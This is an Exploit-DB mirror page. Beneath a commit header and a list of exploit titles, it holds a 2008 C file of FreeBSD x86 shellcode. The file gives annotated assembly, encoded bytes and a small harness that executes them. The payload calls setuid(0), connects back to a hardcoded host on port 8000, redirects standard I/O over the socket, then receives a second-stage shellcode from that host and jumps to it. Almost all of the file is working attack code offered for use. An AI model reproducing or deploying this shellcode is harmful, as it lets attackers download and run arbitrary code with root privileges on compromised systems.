exploit-db-mirror/platforms/freebsd_x86/shellcode/13265.c
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

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My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

102 lines
No EOL
2.2 KiB
C
Executable file

/*
; sm4x - 2008
; reverse connect dl(shellcode) and execute, exit
; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;)
; - feed it with a $nc -vvl -p8000 <shellcode_in_file
; setuid(0); socket(); connect(); dups(); recv(); jmp; exit();
; 90 bytes (NULL free dep on remote address)
; FreeBSD 7.0-RELEASE
global _start
_start:
xor eax, eax
; --- setuid(0)
push eax
push eax
mov al, 0x17
push eax
int 0x80
; --- socket()
push eax
push byte 0x01
push byte 0x02
mov al, 0x61
push eax
int 0x80
mov edx, eax
; --- sockaddr_in setup
push 0x90011ac ; host 172.17.0.9 (.0. is a NULL)
push 0x401f02AA ; port 8000
mov eax, esp
; --- setup connect(edx, eax, 0x10);
push byte 0x10
push eax
push edx
xor eax, eax
mov al, 0x62
push eax
int 0x80
jne done
; --- dup2(0+1+2) - remove if you dont want results sent over the wire
mov cl, 0x03
xor ebx, ebx
dups:
push ebx
push edx
mov al, 0x5a
push eax
int 0x80
inc ebx
loop dups
; --- recv(fd, *buf, 1028);
xor eax, eax
push word 0x0404 ; conf read size here
lea ecx, [esp-0x0404] ; and here
push ecx
push edx
mov al, 0x03
push eax
int 0x80
; --- jmp to recv shellcode
jmp ecx ; run shellcode
done:
; --- exit (optional -> pls exit from jmp shellcode)
xor eax, eax
inc eax
push eax
push eax
int 0x80
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50"
"\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89"
"\xc2\x68\xac\x11\x00\x09\x68\xaa\x02\x1f"
"\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0"
"\x62\x50\xcd\x80\x75\x24\xb1\x03\x31\xdb"
"\x53\x52\xb0\x5a\x50\xcd\x80\x43\xe2\xf6"
"\x31\xc0\x66\x68\x04\x04\x8d\x8c\x24\xfc"
"\xfb\xff\xff\x51\x52\xb0\x03\x50\xcd\x80"
"\xff\xe1\x31\xc0\x40\x50\x50\xcd\x80";
int main(int argc, char **argv) {
int (*func)();
printf("Bytes: %d\n", sizeof(code));
func = (int (*)()) code;
(int)(*func)();
}
// milw0rm.com [2008-09-05]